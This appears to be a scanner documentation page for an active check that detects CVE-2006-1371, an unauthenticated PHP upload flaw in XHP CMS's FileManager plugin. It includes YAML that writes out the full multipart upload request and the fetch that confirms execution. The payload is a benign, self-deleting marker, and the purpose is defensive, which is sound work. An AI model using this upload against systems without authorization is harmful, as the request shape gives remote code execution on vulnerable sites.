XHP CMS — 1 vulnerability check

noctis ships 1 vulnerability check for XHP CMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

XHP CMS <= 0.5 HTMLArea FileManager Unauthenticated PHP File Upload

CVECVE-2006-1371
Severitycritical · CVSS 9.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/xhp-cms/CVE-2006-1371.yaml

XHP CMS (eXpandable Home Page) 0.5 and earlier ship the HTMLArea FileManager plugin, whose images.php stores uploaded files in the web-served filemanager/ directory without checking for a logged-in user, so an unauthenticated attacker can upload and run a PHP script. This check confirms that the FileManager page (inc/htmlarea/plugins/FileManager/standalonemanager.php) is reachable, uploads through images.php a random-named PHP file that prints NOCTIS<A*B> for random A and B and deletes itself, then requests it from filemanager/: the computed product proves remote code execution. If execution is not confirmed, the check deletes the file through the same plugin. When the upload cannot be confirmed, a "Powered by XHP CMS v0.5" or "v0.4.1" footer on index.php is reported at a lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{xhp_dir}}/inc/htmlarea/plugins/FileManager/standalonemanager.php
  3. HTTP(S) request POST {{xhp_dir}}/inc/htmlarea/plugins/FileManager/images.php with a crafted body
  4. HTTP(S) request GET {{xhp_dir}}/filemanager/{{xhp.fname}}
  5. Checks fetch.body for NOCTIS\d+ → finding QoD 97: Unauthenticated upload + PHP execution: …/inc/htmlarea/plugins/FileManager/images.php stored …/filemanager/…, which rendered … (computed …*…
  6. HTTP(S) request GET {{xhp_dir}}/inc/htmlarea/plugins/FileManager/images.php?dir=%2F&delf=%2F{{xhp.fname}}
  7. HTTP(S) request GET {{xhp_dir}}/index.php
  8. Checks home.body for <a href[^>]+>Powered by XHP CMS v0\.(4\.1|5)</a> → finding QoD 70: XHP CMS <= 0.5 HTMLArea FileManager Unauthenticated File Upload (version check)

References:

Feed source — tests/vulnerabilities/xhp-cms/CVE-2006-1371.yaml
# CVE-2006-1371 — XHP CMS (eXpandable Home Page) <= 0.5: the bundled HTMLArea
# FileManager plugin (inc/htmlarea/plugins/FileManager/) accepts uploads
# without any session check, so anyone can drop a PHP file into the
# web-served <dir>/filemanager/ directory and run it.
# Active detection ported from OpenVAS/Greenbone NASL 2008/xhp_cms_file_upload.nasl
# (GPL-2.0-only).
#
# Root cause (diff of the xhp_0_5 and xhp_0_5_1 tarballs from SourceForge):
# images.php calls FileManager::processUploads(), which copies
# $_FILES['upload'] into base_dir + $_POST['dir'] (base_dir = the install root
# + "filemanager", validate_images = false, file name only passed through
# preg_replace('/[^\w\._]/', '_')). 0.5.1 added a session lookup in
# _processFiles() and drops the temporary file when no user is logged in; the
# standalonemanager.php page itself is unchanged and still public.
#
# Detection (benign, self-cleaning — project rule):
#   1. Gate (NASL): GET <dir>/inc/htmlarea/plugins/FileManager/standalonemanager.php
#      must render "XHP File Manager"; nothing is uploaded otherwise.
#   2. Upload (NASL request shape: dir=/, upload, submit=Upload to images.php)
#      a random-named file with the content
#        <?php echo 'NOCTIS'.(A*B); @unlink(__FILE__); ?>
#      (random A, B per run) instead of the NASL's system(id).
#   3. Fetch <dir>/filemanager/<file>: only real PHP execution renders
#      NOCTIS<A*B>; the product never appears in the request. The script
#      deletes itself on its first run.
#   4. If execution is not confirmed (raw source, or .php denied in
#      filemanager/), the file may stay on disk: the feed then deletes it
#      through the same plugin (images.php?delf=/<file>, also unauthenticated).
#   5. Fallback (NASL safe-checks branch), only when the FileManager page is
#      public and the upload proof did not fire: the "Powered by XHP CMS v0.5"
#      / "v0.4.1" footer link (QoD 70). The NASL's regex
#      `Powered by XHP CMS v0\.(4\.1|5)` also matched the fixed 0.5.1 footer;
#      here the version must be followed by "</a>".
#
# Base paths: the NASL tries /test/xhp, /xhp, /xhpcms and the server's CGI
# dirs. noctis has no app detection, so the feed loops over `/`, `/xhp`,
# `/xhpcms` and `/test/xhp`, stopping at the first finding.
uid: 4a781d8c-06ba-4ce3-86b2-94c5a3e14056
name: "XHP CMS <= 0.5 HTMLArea FileManager Unauthenticated PHP File Upload (CVE-2006-1371)"
description: |
  XHP CMS (eXpandable Home Page) 0.5 and earlier ship the HTMLArea FileManager
  plugin, whose images.php stores uploaded files in the web-served filemanager/
  directory without checking for a logged-in user, so an unauthenticated
  attacker can upload and run a PHP script. This check confirms that the
  FileManager page (inc/htmlarea/plugins/FileManager/standalonemanager.php)
  is reachable, uploads through images.php a random-named PHP file that prints
  NOCTIS<A*B> for random A and B and deletes itself, then requests it from
  filemanager/: the computed product proves remote code execution. If execution
  is not confirmed, the check deletes the file through the same
  plugin. When the upload cannot be confirmed, a "Powered by XHP CMS v0.5" or
  "v0.4.1" footer on index.php is reported at a lower confidence.
cves: [CVE-2006-1371]
cvss: 9.0
severity: critical
confidence_base: 0.30
category: rce
tags:
  - xhp-cms
  - file-upload
  - rce
  - intrusive
  - openvas-migrated
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-1371"
  - "https://www.exploit-db.com/exploits/1605"
  - "https://www.securityfocus.com/bid/17209"
  - "https://sourceforge.net/projects/xhp/files/xhp/"
  - "OpenVAS/Greenbone NASL 2008/xhp_cms_file_upload.nasl (GPL-2.0-only)"

steps:
  # ── Per-run random file name, boundary and arithmetic operands ───────────
  - id: gen
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      #{
        fname: "noctis" + rand_str(12) + ".php",
        boundary: "noctis" + rand_hex(12),
        a: a,
        b: b,
        marker: "NOCTIS" + (a * b)
      }
    store_as: xhp

  # ── Every step below runs once per candidate base path (loop group). ─────
  # Pre-initialise the stored results so each iteration starts clean and no
  # condition reads an undefined variable.
  - id: init-gate
    action: set_var
    var_name: gate
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/xhp", "/xhpcms", "/test/xhp"]
      var: xhp_dir

  - id: init-fetch
    action: set_var
    var_name: fetch
    var_value: {status: 0, body: ""}

  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}

  # ── 1. Gate: the FileManager page is public ──────────────────────────────
  - id: gate-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xhp_dir}}/inc/htmlarea/plugins/FileManager/standalonemanager.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: gate

  # ── 2. Upload the self-deleting PHP file (NASL request, benign content) ──
  - id: upload
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{xhp_dir}}/inc/htmlarea/plugins/FileManager/images.php"
    headers:
      Content-Type: "multipart/form-data; boundary={{xhp.boundary}}"
    body: "--{{xhp.boundary}}\r\nContent-Disposition: form-data; name=\"dir\"\r\n\r\n/\r\n--{{xhp.boundary}}\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"{{xhp.fname}}\"\r\nContent-Type: text/plain\r\n\r\n<?php echo 'NOCTIS'.({{xhp.a}}*{{xhp.b}}); @unlink(__FILE__); ?>\r\n--{{xhp.boundary}}\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload\r\n--{{xhp.boundary}}--\r\n"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: upload_resp
    condition: "gate.status == 200 && gate.body.contains(\"XHP File Manager\")"

  # ── 3. Fetch it: only executed PHP renders the computed product ──────────
  - id: fetch-file
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xhp_dir}}/filemanager/{{xhp.fname}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: fetch
    condition: "gate.status == 200 && gate.body.contains(\"XHP File Manager\")"

  - id: report
    action: match
    source: fetch.body
    pattern: "NOCTIS\\d+"
    condition: "fetch.status == 200 && fetch.body.contains(xhp.marker)"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Unauthenticated upload + PHP execution: {{xhp_dir}}/inc/htmlarea/plugins/FileManager/images.php stored {{xhp_dir}}/filemanager/{{xhp.fname}}, which rendered {{xhp.marker}} (computed {{xhp.a}}*{{xhp.b}}) and deleted itself (unlink(__FILE__))."
      stop: true

  # ── 4. Not confirmed: delete our file through the plugin, in case it was
  # stored but not executed (raw source, or 403/404/500 on .php). A delf for
  # a file that does not exist is a no-op upstream (Files::delFile checks
  # is_file first).
  - id: cleanup
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xhp_dir}}/inc/htmlarea/plugins/FileManager/images.php?dir=%2F&delf=%2F{{xhp.fname}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: cleanup_resp
    condition: "gate.status == 200 && gate.body.contains(\"XHP File Manager\") && !fetch.body.contains(xhp.marker)"

  # ── 5. Fallback: vulnerable version footer behind a public FileManager ───
  - id: home-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xhp_dir}}/index.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: home
    condition: "gate.status == 200 && gate.body.contains(\"XHP File Manager\")"

  - id: report-version
    action: match
    source: home.body
    pattern: "<a href[^>]+>Powered by XHP CMS v0\\.(4\\.1|5)</a>"
    condition: "home.status == 200"
    on_match:
      finding:
        title: "XHP CMS <= 0.5 HTMLArea FileManager Unauthenticated File Upload (version check)"
        confidence_delta: 0.40
        qod: 70
        evidence: "{{xhp_dir}}/inc/htmlarea/plugins/FileManager/standalonemanager.php is public and {{xhp_dir}}/index.php shows a vulnerable \"Powered by XHP CMS\" version (0.4.1 or 0.5); the upload proof did not confirm execution."
      stop: true

View these feeds on GitHub